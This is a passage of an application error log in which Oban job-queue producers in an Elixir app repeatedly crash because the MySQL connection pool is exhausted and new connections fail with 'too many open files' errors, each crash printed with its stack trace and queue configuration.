State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:18:18.240652Z], limit: 20, uuid: "7e96d2c6-ce29-4dc7-bc64-e72e7709a83b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.240660Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176141>, refresh_timer: #Reference<0.2525715032.1068498948.53305>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:18:18.240590Z], limit: 5, uuid: "cc1f7725-ac9e-4c60-8003-071f5450370e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.240595Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176139>, refresh_timer: #Reference<0.2525715032.1099431938.54887>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:18:18.240532Z], limit: 50, uuid: "83c0017e-8d73-490d-a74c-ba22bff06df1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.240538Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176140>, refresh_timer: #Reference<0.2525715032.1077673987.31604>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:18:18.241266Z], limit: 5, uuid: "240a15b5-5d39-464c-a1c4-93bb1eefc7f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.241273Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176138>, refresh_timer: #Reference<0.2525715032.1121189889.176128>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:18:18.240423Z], limit: 3, uuid: "3a23ff7f-3a81-471c-a453-c8fdc4160c25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.240430Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54888>, refresh_timer: #Reference<0.2525715032.1099431938.54881>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:18:18.242191Z], limit: 10, uuid: "1bbf78f3-03bc-49d1-920d-2b491978eb62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:18.242199Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54889>, refresh_timer: #Reference<0.2525715032.1068498948.53311>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:30.635000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:35.927000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:36.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:40.765000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:42.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:18:30.239458Z], limit: 5, uuid: "5ec52d65-5be4-4854-8adc-4501892adf20", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.239463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54977>, refresh_timer: #Reference<0.2525715032.1077673987.31790>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:18:30.238488Z], limit: 20, uuid: "b3f51e4a-27f9-405a-bd76-026bccad6dd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.238496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.31792>, refresh_timer: #Reference<0.2525715032.1077673987.31776>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:18:30.239536Z], limit: 3, uuid: "ca507b54-b815-44b3-92f7-f0186c489a77", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:30.239542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.176597>, refresh_timer: #Reference<0.2525715032.1121189889.176571>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
